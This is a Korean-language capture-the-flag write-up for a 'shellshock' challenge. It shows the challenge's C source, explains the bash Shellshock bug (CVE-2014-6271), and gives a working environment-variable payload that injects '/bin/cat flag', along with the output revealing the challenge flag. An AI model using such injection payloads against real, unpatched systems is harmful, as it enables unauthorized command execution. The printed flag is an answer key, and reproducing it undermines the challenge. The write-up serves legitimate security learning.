#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
이 문제는 제목에서 알 수 있듯이 쉘쇼크 취약점을 이용하는 문제인 거같다.
코드도 별게 없다.
딱봐도 system함수에서 실행하는 bash가 쉘쇼크에 취약한 낮은 버전의 bash일 것이다.
Shellshock
쉘쇼크 취약점은 간단하게 말하면 환경변수를 이용한 공격이다.
옛날 버전의 bash쉘에서는 환경변수에서 함수를 정의하면 pares_and_execute()함수를 이용해 반복문으로 문자열을 긁어오는데
함수의 끝까지 실행하면 그만 읽어와야하는데 계속 문자열을 읽고 실행해서 사용자가 악의적으로 뒤에 문자열을 삽입하면 그대로 실행시켜버리는 것이다.
shellshock@pwnable:~$ export x='() { echo kimg00n; };/bin/cat flag;'
shellshock@pwnable:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)
shellshock@pwnable:~$
환경변수에 함수를 삽입하면서 뒤에 우리가 원하는 명령을 넣고 환경변수를 등록후
shellshock프로그램을 실행하면 취약한 bash가 실행되면서
환경변수를 읽어오면 우리가 원하는 명령이 실행되면서 플래그가 출력되는것을 볼 수있다.
flag: only if I knew CVE-2014-6271 ten years ago..!!
뜻이... 이걸 10년전에 알았다면..?ㅋㅋㅋㅋㅋㅋㅋㅋ